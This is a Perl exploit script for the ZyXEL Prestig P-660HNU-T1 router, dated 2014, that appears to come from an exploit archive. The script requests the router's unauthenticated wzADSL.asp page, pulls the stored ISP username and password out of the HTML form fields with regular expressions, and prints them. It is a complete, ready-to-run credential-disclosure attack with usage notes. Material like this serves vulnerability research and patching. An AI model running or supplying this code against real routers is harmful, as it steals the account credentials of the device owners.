ZyXEL Prestig P-660HNU-T1 ISP Credentials Disclosure Exploit

#!/usr/bin/perl

# Exploit Author: Sebastián Magof

# Hardware: ZyXEL Prestig P-660HNU-T1

# Vulnerable file: wzADSL.asp

# location: http://gateway/cgi-bin/wzADSL.asp

# Bug: ISP usr+pwd disclosure

# Type: Local

# Date: 22/09/2014

# Vendor Homepage: http://www.zyxel.com/

# Version: 2.00(AAIJ.1)

# Tested on: Linux Fedora 20/Windows 7

# (\/)

# (**) Alpha (:

#(")(")

#usage:perl exploit.pl

use LWP::UserAgent;

use HTTP::Request;

#begin

print "\n\n************************************************************\n";

print "* ZyXEL Prestig MODELO P-660HNU-T1v2 local ISP usr+pwd *\n";#default gateway 192.168.1.1 (Arnet Telecom ISP Argentina)

print "************************************************************\n\n";#in oher country modify $url line 25

#isp pwd disclosure file

my $url = "http://192.168.1.1/cgi-bin/wzADSL.asp";

#UserAgent

my $ua = LWP::UserAgent->new();

$ua->agent("Mozilla/5.0");

#Request.

my $req = HTTP::Request->new(GET => $url);

my $request = $ua->request($req);

my $content = $request->content(); #content

my ($usr) = $content =~ m/name="wan_UserName" size="30" maxlength="128" value="(.+)" >/;

my ($pwd) = $content =~ m/name="wan_Password" size="30" maxlength="128" value="(.+)">/;

#ISP usr+pwd Arnet Telecom Argentina;

print "User: $usr\n";

print "Password: $pwd\n\n";

exit(0);

__EOF__

Rating